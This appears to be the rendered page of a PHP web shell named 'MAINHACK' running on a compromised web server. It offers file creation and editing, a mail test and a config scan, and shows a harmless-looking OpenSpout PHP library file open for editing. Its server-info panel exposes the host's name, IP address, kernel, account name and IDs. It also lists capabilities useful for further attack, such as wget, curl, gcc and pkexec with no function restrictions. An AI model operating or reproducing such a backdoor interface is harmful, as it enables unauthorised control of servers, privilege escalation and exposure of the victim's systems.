[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: AbstractOptions.php
<?php declare(strict_types=1); namespace OpenSpout\Writer\Common; use OpenSpout\Common\Entity\Style\Style; use OpenSpout\Common\TempFolderOptionTrait; abstract class AbstractOptions { use TempFolderOptionTrait; public Style $DEFAULT_ROW_STYLE; public bool $SHOULD_CREATE_NEW_SHEETS_AUTOMATICALLY = true; public ?float $DEFAULT_COLUMN_WIDTH = null; public ?float $DEFAULT_ROW_HEIGHT = null; /** @var ColumnWidth[] Array of min-max-width arrays */ private array $COLUMN_WIDTHS = []; public function __construct() { $this->DEFAULT_ROW_STYLE = new Style(); } /** * @param positive-int ...$columns One or more columns with this width */ final public function setColumnWidth(float $width, int ...$columns): void { // Gather sequences $sequence = []; foreach ($columns as $column) { $sequenceLength = \count($sequence); if ($sequenceLength > 0) { $previousValue = $sequence[$sequenceLength - 1]; if ($column !== $previousValue + 1) { $this->setColumnWidthForRange($width, $sequence[0], $previousValue); $sequence = []; } } $sequence[] = $column; } $this->setColumnWidthForRange($width, $sequence[0], $sequence[\count($sequence) - 1]); } /** * @param float $width The width to set * @param positive-int $start First column index of the range * @param positive-int $end Last column index of the range */ final public function setColumnWidthForRange(float $width, int $start, int $end): void { $this->COLUMN_WIDTHS[] = new ColumnWidth($start, $end, $width); } /** * @internal * * @return ColumnWidth[] */ final public function getColumnWidths(): array { return $this->COLUMN_WIDTHS; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.81 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002